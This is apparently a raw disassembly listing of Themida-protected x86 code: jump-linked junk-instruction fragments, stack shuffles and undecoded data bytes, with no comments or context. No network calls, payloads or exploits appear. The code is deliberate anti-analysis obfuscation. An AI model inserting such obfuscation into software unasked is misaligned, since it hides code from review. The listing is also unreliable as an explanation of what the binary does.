		add	edi, 5221057Dh
		pop	esi
		jmp	loc_551BE5
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 2, 28B3EB80h, 0B3C380C3h, 20AC68h, 24148900h, 0FE1CB050h
		dd 0B25266C8h, 0E9D02058h, 1414h, 5523EF81h, 0EF810451h
		dd 1CAE3EBBh, 8904EC83h, 97E9240Ch
		db 0EDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_545FEF:				; CODE XREF: Themida_:00555784j
		mov	edi, [esp]
		add	esp, 4
		add	eax, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	eax, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_545662
; ---------------------------------------------------------------------------
aQsu		db 'Qé“%',0
		align 2
		dw 0F10Ch
		dd 0C434D8F6h, 0B704F10Ch, 0F64CB551h, 92CD80D5h, 0CA23E9h
		db 0
; ---------------------------------------------------------------------------

loc_546039:				; CODE XREF: Themida_:0054CE82j
		or	ebp, 7E2212A3h
		add	ebp, 9A02ABBAh
		and	esi, ebp
		jmp	loc_5463C8
; ---------------------------------------------------------------------------

loc_54604C:				; CODE XREF: Themida_:0054E3C1j
		add	ebp, 47C47BCBh
		xor	edi, ebp
		jmp	loc_547A3F
; ---------------------------------------------------------------------------
aLSI		db '^‹,$éÅI',0
		align 2
aIHml		db '‰,$h¬l',0
		align 2
aISvn		db '‰$$év',0
		align 2
		dw 0EC83h
		dd 241C8904h, 42474FFh,	5B2434FFh, 4C481h, 48F0000h, 24248B24h
		dd 24040166h, 0BA89E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546096:				; CODE XREF: Themida_:005426CEj
		xor	eax, edx
		pop	edx
		sub	esi, eax
		jmp	loc_55470C
; ---------------------------------------------------------------------------
		dd 4AA3EF81h, 0C7811FADh, 3BFF6A7Eh, 1CD1EF81h,	0BD556359h
		dd 7D511E9Bh, 4D06E5C1h, 7DB8C581h, 0EF29C676h,	1D5EE9h
		dd 4C28100h, 83000000h,	148704C2h, 0AAE95C24h, 8B000011h
		dd 0C483243Ch, 4EC8104h, 89000000h, 4BBD242Ch, 523E653Ah
		dd 80D68BAh, 5AD52911h,	5432E9h, 5FD7B900h, 0E5E97B8Dh
		dd 0D100002Fh, 5151E9EBh, 0C6810000h, 76DA3C77h, 24343359h
		dd 0E9243431h, 0FFFFDD2Ah
; ---------------------------------------------------------------------------

loc_546120:				; CODE XREF: Themida_:0054202Fj
		pop	edi
		push	eax
		mov	eax, 4
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	458Ch
		mov	[esp], edi
		push	ecx
		push	esi
		jmp	loc_551921
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 7E5C0D2h, 0E926ED80h, 0EA06h
; ---------------------------------------------------------------------------

loc_546158:				; CODE XREF: Themida_:005457F0j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_553422
; ---------------------------------------------------------------------------

loc_54616B:				; CODE XREF: Themida_:005503D4j
		mov	[esp], eax
		mov	ah, 2Fh
		dec	ah
		add	ah, 4Ch
		mov	ch, ah
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5527C6
; ---------------------------------------------------------------------------
		dd 0F262E981h, 0CD01DA95h, 81240C8Bh, 4C4h, 0E9CD0100h
		dd 87F5h, 8106E5C1h, 54E1BCEDh,	5DE90175h, 4C181h, 9EE90000h
		dd 830000EEh, 0C58104C4h, 4, 4ED81h, 0A1680000h, 0E900006Ah
		dd 8F84h, 4C281h, 0C2830000h, 24148704h, 52D8295Ch, 5E5FC1BAh
		dd 0DFC6E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5461F6:				; CODE XREF: Themida_:0054EF2Bj
		pop	ebp
		shr	eax, 6
		add	eax, 50E3115h
		xor	ebx, eax
		push	dword ptr [esp]
		jmp	loc_54DF99
; ---------------------------------------------------------------------------
		db 31h,	0C2h, 0E9h
		dd 105F5h
dword_546210	dd 28B6664h, 33C46866h,	24048966h, 0FFB8FEE9h, 0E80166FFh
					; DATA XREF: Themida_:00541A1Co
		dd 0BD66555Dh, 8166626Ah, 662FDFCDh, 1ED81h, 78C58166h
		dd 0E80966ECh, 0E705665Dh, 0C689666Dh, 664E6658h, 53BFEE81h
		dd 99C68166h, 742F685Eh, 2C890000h, 5CE95724h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54625F:				; CODE XREF: Themida_:00548846j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_543E63
; ---------------------------------------------------------------------------
		db 5Ch
		dd 89242C89h, 4C581E5h,	83000000h, 39E904EDh, 50000021h
		dd 739CBB53h, 9EB84281h, 0E9428173h, 0D28h, 7F531FBDh
		dd 45C58148h, 4D245212h, 2A9DF581h, 0CD811FE3h,	227338CAh
		dd 0EE72E9h, 81575600h,	4ECh, 240C8900h, 0F140D7B9h, 0E319E922h
		dd 42D0000h, 87000000h,	895C2404h, 8B54240Ch, 5452240Ch
		dd 12F0E95Ah, 34890000h, 48685524h, 5D32317Ch, 373CF581h
		dd 4545637Ah, 5137F581h, 0EE894832h, 5EF0295Dh,	5CABBE56h
		dd 0F6815F4Ah, 46927FF5h, 918BE9h
		db 0
; ---------------------------------------------------------------------------

loc_546311:				; CODE XREF: Themida_:0054F20Ej
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_552B7A
; ---------------------------------------------------------------------------

loc_546333:				; CODE XREF: Themida_:0054C304j
		add	eax, edx
		pop	edx
		push	edx
		mov	edx, 54023104h
		and	edx, 6A536101h
		dec	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6B4A0700h
		add	ecx, 0DE90C5Ch
		and	ecx, 435A616Ch
		push	ebx
		jmp	loc_542B30
; ---------------------------------------------------------------------------
		dd 0C8BEC88h, 92EDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54636A:				; CODE XREF: Themida_:0054ECE8j
		push	esi
		mov	esi, 27B562A6h
		inc	esi
		push	edi
		push	ebp
		mov	ebp, 3897259Bh
		jmp	loc_544CB6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFE12FE9h, 4A5D68FFh, 34FF3A2Ch, 89525B24h,	4C281E2h
		dd 0E9000000h, 0FFFFD842h
; ---------------------------------------------------------------------------

loc_54639C:				; CODE XREF: Themida_:0054FDD6j
		push	ebx
		mov	ebx, 7E7A0BEFh
		dec	ebx
		not	ebx
		shr	ebx, 6
		and	ebx, 55101BB7h
		push	ebp
		mov	ebp, 76443A02h
		push	eax
		push	ebp
		jmp	loc_551110
; ---------------------------------------------------------------------------
		db 89h
		dd 0FFBD242Ch, 0E9313574h, 0FFFFE3ACh
; ---------------------------------------------------------------------------

loc_5463C8:				; CODE XREF: Themida_:00546047j
		mov	ebp, [esp]
		jmp	loc_54C7A2
; ---------------------------------------------------------------------------
		dd 48E9595Bh, 80FFFFB7h, 0E9C001C1h, 86E95302h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5463E3:				; CODE XREF: Themida_:00547F1Cj
		xor	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_54B51B
; ---------------------------------------------------------------------------

loc_5463ED:				; CODE XREF: Themida_:0055472Fj
		neg	edx
		push	ebp
		jmp	loc_547216
; ---------------------------------------------------------------------------
		db 59h,	56h, 89h
		dd 30BA52E6h, 0E960CF12h, 0FFFFE7F8h, 24D42459h, 24010404h
		dd 0E9562C9Fh, 0E455h
dword_546414	dd 240C8B66h, 835D5455h, 148904ECh, 21176824h, 34890000h
					; DATA XREF: Themida_:00541874o
		dd 7920E924h, 0E5890000h, 4AF7E9h
		db 0
; ---------------------------------------------------------------------------

loc_546435:				; CODE XREF: Themida_:00547F14j
		add	esp, 4
		add	edi, 0F74A0A9Bh
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_54702C
; ---------------------------------------------------------------------------

loc_546448:				; CODE XREF: Themida_:0054766Bj
		add	ebp, 35DA43E6h
		jmp	loc_550D9F
; ---------------------------------------------------------------------------

loc_546453:				; CODE XREF: Themida_:005432DFj
		add	dl, 8
		mov	bh, dl
		pop	edx
		sub	al, 1Eh
		jmp	loc_543F8D
; ---------------------------------------------------------------------------
		dd 2168BE56h, 0F32941EEh, 3F19E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54646E:				; CODE XREF: Themida_:0054B553j
		or	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 7A41CD2h
		sub	ebx, 0CD97D8B8h
		sub	esi, ebx
		jmp	loc_54AF1A
; ---------------------------------------------------------------------------

loc_546484:				; CODE XREF: Themida_:00552162j
		sub	eax, 0A391D1CCh
		add	esi, eax
		pop	eax
		push	edx
		jmp	loc_54B238
; ---------------------------------------------------------------------------
		dw 61BBh
		dd 574D2B1Bh, 6B65BBBFh, 4EC7810Fh, 0F704BE2Dh,	6E7C1DFh
		dd 19BEE9h, 0B8505100h,	791D6688h, 1D668CB9h, 0D1BFE979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5464BE:				; CODE XREF: Themida_:00550334j
		sub	esi, ebp
		pop	ebp
		add	ecx, esi
		pop	esi
		jmp	loc_54E3C6
; ---------------------------------------------------------------------------
		db 0BAh, 45h, 6Bh
		dd 0EA3119D2h, 53242C8Bh, 0B4E9E389h, 210000FDh, 243C8BFAh
		dd 0FFECF3E9h, 0E9555CFFh, 1CADh, 0E9240C31h, 1D34h
; ---------------------------------------------------------------------------

loc_5464F4:				; CODE XREF: Themida_:005510D6j
		sub	ecx, 5D6A4A19h
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	2888h
		mov	[esp], ebx
		push	1A01h
		mov	[esp], edx
		push	eax
		add	dword ptr [esp], 16A65445h
		pop	edx
		jmp	loc_55576A
; ---------------------------------------------------------------------------
		dd 45711D68h, 0E9505E39h, 0C5C1h, 7BE9F301h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54653F:				; CODE XREF: Themida_:00549EFFj
		push	eax
		mov	eax, 6A1F42D1h
		add	edx, eax
		jmp	loc_549120
; ---------------------------------------------------------------------------
		dd 7342B850h, 0E9814CD7h, 49701310h, 0C181C101h, 49701310h
		dd 8B2434FFh, 0C4832404h, 4C48104h, 1000000h, 0FE07E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546576:				; CODE XREF: Themida_:00552210j
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_54EFAA
; ---------------------------------------------------------------------------

loc_546582:				; CODE XREF: Themida_:0054C247j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_5428EC
; ---------------------------------------------------------------------------

loc_54658F:				; CODE XREF: Themida_:00549FF4j
		push	698Ch
		mov	[esp], esi
		jmp	loc_551E84
; ---------------------------------------------------------------------------
		dd 0CE309DB6h, 0E92434FFh, 0FFFFFE4Dh
; ---------------------------------------------------------------------------

loc_5465A8:				; CODE XREF: Themida_:00548194j
		mov	esp, [esp]
		mov	[esp], bx
		push	eax
		mov	ah, 0AFh
		jmp	loc_545DFE
; ---------------------------------------------------------------------------
		db 68h
		dd 3D40h, 68243489h, 5B86h, 81243C89h, 7F1A2434h, 815E005Fh
		dd 5F7F1AF6h, 2880E900h, 0E9550000h, 66B8h, 0F7245C2Dh
		dd 5F82955h, 55F7245Ch,	0E9278F2Dh, 0AF11E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5465F6:				; CODE XREF: Themida_:0054767Aj
		add	esi, 6517CBEAh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	bl, 39h
		push	ecx
		mov	cl, bl
		jmp	loc_54A1C9
; ---------------------------------------------------------------------------
		dw 0A5BEh
		dd 1D5D8C1h, 0CF015EF1h, 83240C8Bh, 3C3304C4h, 243C3124h
		dd 0ED0EE9h
		db 0
byte_54663D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00541924o
		dd 10FBE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546646:				; CODE XREF: Themida_:0055039Bj
		pop	eax
		jmp	loc_547467
; ---------------------------------------------------------------------------
		dd 8059EB28h, 0C32888C3h, 5712E951h, 89660000h,	0C4B7241Ch
		dd 0BE9F828h, 8100007Dh, 5D7BCBEBh, 0C692E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546672:				; CODE XREF: Themida_:00553DB8j
		push	edi
		mov	edi, 4
		add	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5430C2
; ---------------------------------------------------------------------------
		db 28h,	0D0h, 4
aIsP		db 'iéÚ¯',0
		align 2
		dd offset dword_512448+620h
		dw 8900h
		dd 4832424h, 0E9590424h, 0FFFFDAF4h, 0E91C5709h, 0A2D5h
		dd 0E956575Eh, 0F20Ch
; ---------------------------------------------------------------------------

loc_5466B0:				; CODE XREF: Themida_:00548E6Ej
		mov	ecx, 4
		jmp	loc_553265
; ---------------------------------------------------------------------------
		dw 5135h
		dd 0F795B5CFh, 535140D8h, 84A8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5466C9:				; CODE XREF: Themida_:0054739Ej
		mov	[esp], ecx
		jmp	loc_54DD58
; ---------------------------------------------------------------------------

loc_5466D1:				; CODE XREF: Themida_:0054C3AFj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54303B
; ---------------------------------------------------------------------------

loc_5466E5:				; CODE XREF: Themida_:0054C7C5j
		push	esi
		mov	esi, 2E0B2DBBh
		add	esi, 0FC841D57h
		jmp	loc_5541E8
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 0B2BF84F7h, 54E9FD01h, 4A000059h, 0D5C28142h, 811C444Fh
		dd 774D22E2h, 81D2F712h, 0AF26A6C2h, 5AD001FEh,	0E958C731h
		dd 0B4F8h, 81DFF74Fh, 117C85EFh, 5FF90964h, 4D81BA52h
		dd 0FF520616h, 90E9240Ch, 0C1FFFFB4h, 0EF8103EFh, 0D9334E88h
		dd 0CAE9FD31h
		db 0D8h, 2 dup(0)
byte_54674F	db 0FFh			; DATA XREF: Themida_:00541A9Co
a4XsA		db '4$Xé\ ',0
		align 4
		dd 5C24048Fh, 0FFCB83E9h, 4C281FFh, 81000000h, 4C2h, 24148700h
		dd 0FFFA315Ch, 575F2434h, 55E9E789h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54677F:				; CODE XREF: Themida_:00542BDCj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_54F0BB
; ---------------------------------------------------------------------------

loc_546792:				; CODE XREF: Themida_:00549652j
		push	138553Eh
		pop	ebx
		jmp	loc_5542AC
; ---------------------------------------------------------------------------

loc_54679D:				; CODE XREF: Themida_:005495CFj
		add	ecx, edi
		sub	ecx, 7E8B2158h
		push	ebx
		push	esi
		push	eax
		push	ebx
		mov	ebx, 5D5568A5h
		mov	eax, 410B2297h
		jmp	loc_544F43
; ---------------------------------------------------------------------------
		dd 3C74BDBDh, 0E1895179h, 4C181h, 0E9830000h, 0D095E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5467CE:				; CODE XREF: Themida_:0054AF76j
		pop	ecx
		inc	bl
		dec	bl
		jmp	loc_54C722
; ---------------------------------------------------------------------------
		dd 7FA8E950h, 0F65B0000h, 17C580D5h, 803DE580h,	73E93AC5h
		dd 810000FEh, 0A74946EFh, 0E9D7010Dh, 52B1h
dword_5467FC	dd 9D1C77FFh, 1CD25966h, 14E99C24h ; DATA XREF:	Themida_:00541A68o
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54680B:				; CODE XREF: Themida_:00546E4Fj
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_545426
; ---------------------------------------------------------------------------

loc_54681B:				; CODE XREF: Themida_:00548BDBj
		add	ecx, edi
		push	3BB7h
		mov	[esp], edx
		pop	dword ptr [ecx]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54977E
; ---------------------------------------------------------------------------
		dd 52243489h, 0F134A468h, 0E2C15A72h, 0D4CA8102h, 815EB56Dh
		dd 81355EAh, 0BA52576Bh, 2C445C0Eh, 0FFEA814Ah,	0C1FFFFFFh
		dd 0F28104E2h, 6CFC2E49h, 4426EA81h, 0D78952EDh, 8242E9h
		db 0
; ---------------------------------------------------------------------------

loc_54688D:				; CODE XREF: Themida_:00550A8Cj
		mov	[esp], edi
		mov	edi, 1F1D5529h
		push	ebp
		mov	ebp, 48744845h
		sub	ebp, 56A7E33h
		xor	ebp, 55FF448Fh
		sub	ebp, 42AE0F38h
		jmp	loc_553BE3
; ---------------------------------------------------------------------------
		dw 0C8Ah
		dd 0E2895224h, 4C281h, 0C2830000h, 24148702h, 5E1C05Ch
		dd 6B23E9h, 79CE8100h, 814B4740h, 0D04557E6h, 3E6C16Eh
		dd 0C72BEE81h, 0F789FC72h, 119E95Eh, 0EE010001h, 2501EE81h
		dd 4E5D4E00h, 0EEC1D6F7h, 0FFF68108h, 0E900A7DAh, 0FFFFC1F4h
; ---------------------------------------------------------------------------

loc_546904:				; CODE XREF: Themida_:0055228Ej
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		jmp	loc_54A45C
; ---------------------------------------------------------------------------
		db 83h
		dd 0E82804C4h, 55240C8Bh, 0A8685D54h, 89000052h, 0E2E9243Ch
		dd 0BBFFFFD2h, 25EC4DC1h, 0FCF38143h, 0E97E906Ch, 9036h
		dd 0C05BF681h, 0F031D5B2h, 13C1E9h, 0C0BCBF00h,	8DE972BBh
		dd 8BFFFFC9h, 0C4812414h, 4, 4463E9h, 0B9B75300h, 0FE5BFE88h
		dd 1AD0E9C6h, 0C4810000h, 4, 0C5E9D9F7h, 89FFFFFBh, 0E2892414h
		dd 4C281h, 0BF570000h, 35B3479Dh, 1BD0E9h, 61E78100h, 0F7281B3Eh
		dd 0C96AE9DFh, 8468FFFFh, 89000023h, 4832424h, 48F0424h
		dd 24048324h, 95F7E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5469C2:				; CODE XREF: Themida_:00555D90j
		push	2606h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 31E65EA2h
		and	edx, 51344C1Fh
		sub	edx, 6470DB9h
		neg	edx
		shr	edx, 6
		push	eax
		jmp	loc_5505B8
; ---------------------------------------------------------------------------

loc_5469EF:				; CODE XREF: Themida_:00550090j
		push	ebx
		mov	bl, 1Fh
		mov	ah, 77h
		add	ah, 0B4h
		sub	ah, bl
		sub	ah, 0B4h
		pop	ebx
		or	ah, 8Ch
		and	ah, 52h
		sub	ah, 0FFh
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		jmp	loc_5507A4
; ---------------------------------------------------------------------------

loc_546A1D:				; CODE XREF: Themida_:00542A23j
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 2D702222h, 0E981F901h, 2D702222h, 59CE315Fh,	0E9FFC683h
		dd 45B6h
; ---------------------------------------------------------------------------

loc_546A3C:				; CODE XREF: Themida_:00545C5Fj
		mov	[esp], esi
		mov	esi, ebx
		mov	ecx, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	5FAA10CFh
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 12F3CB3h
		dec	esi
		add	esi, 1
		jmp	loc_542A05
; ---------------------------------------------------------------------------

loc_546A6B:				; CODE XREF: Themida_:0054EE1Aj
		mov	ecx, 4
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5449A0
; ---------------------------------------------------------------------------

loc_546A7D:				; CODE XREF: Themida_:00548D12j
		mov	edx, ecx
		pop	ecx
		jmp	loc_54C130
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 1
		dd 15ADCF81h, 0F7812632h, 89E5A240h, 0FF5FFE29h, 0C8B2434h
		dd 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 650617FAh
		jmp	loc_55052E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 246C8100h, 5F078D04h, 24742938h, 24448104h, 5F078D04h
		dd 2434FF38h, 0BCC5E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546AF6:				; CODE XREF: Themida_:0054D5FBj
		sub	edx, 60645656h
		add	esi, edx
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_54A362
; ---------------------------------------------------------------------------
		db 0BAh
		dd 21E92E7Eh, 15AD329h,	241C8BD9h, 0E9E18951h, 3BC8h, 0E957E189h
		dd 70FAh, 35BAC381h, 50E930DEh,	520000F4h, 8DB055B2h, 205AD000h
		dd 536658C1h, 5AF3E9h, 34875100h, 0E9D6F724h, 4F05h, 81243C8Bh
		dd 4C4h, 74296600h, 5E660424h, 24740166h, 66566602h, 664A52BEh
		dd 4247401h, 0FFE6DCE9h, 35EF80FFh, 0C780D700h,	0E9EF8035h
		dd 5BF8005Ah, 80EBC380h, 0C328DDEBh, 0E9DDC380h, 1011h
; ---------------------------------------------------------------------------

loc_546B90:				; CODE XREF: Themida_:005430C8j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_544C93
; ---------------------------------------------------------------------------
word_546BA2	dw 77FFh		; DATA XREF: Themida_:005418B4o
		dd 58669D1Ch, 9C240410h, 0FFAF6EE9h, 0C7C980FFh, 0F180E1D0h
		dd 55C18076h, 0C059CF00h, 0F78002E7h, 5BF8008Bh, 0CC20E9h
		dd 0BE565E00h, 0B9E25F4Ch, 815EF501h, 491A98EBh, 81EB0154h
		dd 491A98C3h, 2434FF54h, 278DE9h
		db 0
; ---------------------------------------------------------------------------

loc_546BED:				; CODE XREF: Themida_:00542FCBj
		pop	esi
		jmp	loc_553468
; ---------------------------------------------------------------------------
		db 5Eh
		dd 48BC501h, 4C48324h, 2C581h, 2C330000h, 242C3124h, 0B29DE9h
		db 0
; ---------------------------------------------------------------------------

loc_546C0D:				; CODE XREF: Themida_:0054C82Bj
		add	edx, 0EF9D61E8h
		sub	ebp, edx
		pop	edx
		add	eax, 40DF1BABh
		add	eax, ebp
		push	ebp
		jmp	loc_55083A
; ---------------------------------------------------------------------------

loc_546C23:				; CODE XREF: Themida_:00547CB9j
		add	eax, 4
		jmp	loc_54A235
; ---------------------------------------------------------------------------
		db 5Ch,	2Dh, 93h
		dd 14F085Dh, 5D9305D0h,	565A4F08h, 2E59C968h, 91685E20h
		dd 89000049h, 5B9240Ch,	2137BB44h, 0B33EE9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546C56:				; CODE XREF: Themida_:0054BDD2j
		pop	edi
		push	edx
		mov	edi, [esp]
		jmp	loc_54396B
; ---------------------------------------------------------------------------

loc_546C60:				; CODE XREF: Themida_:0054763Aj
		xor	ecx, 483FF4C6h
		jmp	loc_55672A
; ---------------------------------------------------------------------------
		db 66h
		dd 0E1F2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546C72:				; CODE XREF: Themida_:0054EACAj
		push	ebp
		push	34676ACFh
		pop	ebp
		add	ebp, 0DD64D9B5h
		jmp	loc_54E8FA
; ---------------------------------------------------------------------------
		dd 1F685657h, 0E900000Ch, 6719h
; ---------------------------------------------------------------------------

loc_546C90:				; CODE XREF: Themida_:00549E6Bj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_5487CD
; ---------------------------------------------------------------------------
		dw 0F780h
		dd 0BB34E969h, 0C0BEFFFFh, 0E9021E0Eh, 0E24Bh, 0C381E389h
		dd 4, 0F3DE9h, 4C48100h, 0E9000000h, 0FFFFDD2Fh, 0E188F488h
		dd 5CE95A58h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546CD3:				; CODE XREF: Themida_:0054D9AEj
		push	esi
		mov	esi, 374846E5h
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	0
		sub	[esp], esi
		pop	esi
		jmp	loc_5502E3
; ---------------------------------------------------------------------------
		dd 0E9FE2958h, 0B2EEh, 80BEE980h, 0D9001BE9h, 501BC180h
		dd 0EB2CDAB0h, 421DE9h
		db 0
; ---------------------------------------------------------------------------

loc_546D09:				; CODE XREF: Themida_:0054F9A3j
		xor	ch, 46h
		xor	ch, 13h
		mov	bl, ch
		pop	ecx
		jmp	loc_54201F
; ---------------------------------------------------------------------------
		db 0FEh
aRqI		db 'ÌRQ±ë¶²',0
aYaSz		db 'ÎY€ÆËé‡{',0
		align 2

loc_546D2A:				; CODE XREF: Themida_:005487A8j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_554734
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 41h
		dd 0E9451346h, 4518h, 2414895Ch, 0A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_546D49:				; CODE XREF: Themida_:0054B30Ej
		shl	ebx, 1
		shr	ebx, 2
		add	ebx, 527D8823h
		or	ebp, ebx
		jmp	loc_554F29
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 13D8E9h, 0E973B300h, 0FFFFAE4Fh, 0F705E7C1h
		dd 6BC781DFh, 0E9A3E3A2h, 0F259h, 89240C89h, 4C181E1h
		dd 83000000h, 0C8704E9h, 29E95C24h, 0E90000A6h,	0FFFFAD83h
		dd 34FFCA28h, 240C8B24h, 4C481h, 0C4830000h, 5AD12004h
		dd 6BC7E9h, 2CD82800h, 3AB25241h, 0EA80D2F6h, 0C0D2F6E4h
		dd 0F28004EAh, 0EFF28041h, 0D000572Ch, 57B25266h, 1FE9D000h
		dd 680000CAh, 7D51h, 4382E9h
		db 0
; ---------------------------------------------------------------------------

loc_546DE5:				; CODE XREF: Themida_:005420CAj
		push	eax
		mov	eax, 1C6669F6h
		jmp	loc_54C080
; ---------------------------------------------------------------------------
aPssu		db 'P陓',0
		align 2
aZSi_		db '‡,$éˆ_',0
		align 2

loc_546DFE:				; CODE XREF: Themida_:00543810j
		pop	ebp
		jmp	loc_548D8A
; ---------------------------------------------------------------------------

loc_546E04:				; CODE XREF: Themida_:00551BE0j
		xor	eax, ecx
		push	258h
		mov	[esp], eax
		push	6B4Ah
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_555018
; ---------------------------------------------------------------------------

loc_546E28:				; CODE XREF: Themida_:00547703j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5421C2
; ---------------------------------------------------------------------------
aXzIsig		db 'Ñå‡ÍIé‰G',0
		db 0
; ---------------------------------------------------------------------------

loc_546E3B:				; CODE XREF: Themida_:00551D56j
		sub	edx, 6B9D2A29h
		xor	[edx], eax
		jmp	loc_54E935
; ---------------------------------------------------------------------------

loc_546E48:				; CODE XREF: Themida_:005529F2j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		push	esp
		jmp	loc_54680B
; ---------------------------------------------------------------------------

loc_546E54:				; CODE XREF: Themida_:0054DF89j
		mov	ecx, 7809217Eh
		add	esi, ecx
		pop	ecx
		sub	esi, ebx
		sub	esi, 7809217Eh
		jmp	loc_555B32
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F7010000h, 6B62E9h,	597CBA00h, 0C28158EAh, 0BCFBC1B8h
		dd 15AD501h, 34ED81FDh,	0E915E61Bh, 0C9Bh, 8904EC83h, 5451241Ch
		dd 4C18159h, 0E9000000h, 8611h
; ---------------------------------------------------------------------------

loc_546EA4:				; CODE XREF: Themida_:0054B22Cj
		mov	ecx, 6EC87B5Dh
		shr	ecx, 3
		xor	ecx, 2A163332h
		inc	ecx
		jmp	loc_555055
; ---------------------------------------------------------------------------
		dd 0C608F281h, 0D1017E83h, 0FFB584E9h, 59CA89FFh, 94B8505Eh
		dd 0D6AD02Ch, 362121Ah,	7F473548h, 0C2210B5Fh, 17685758h
		dd 8900003Eh, 61E9243Ch
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_546EEB:				; CODE XREF: Themida_:0055022Fj
		pop	ebx
		push	eax
		jmp	loc_54ECAD
; ---------------------------------------------------------------------------

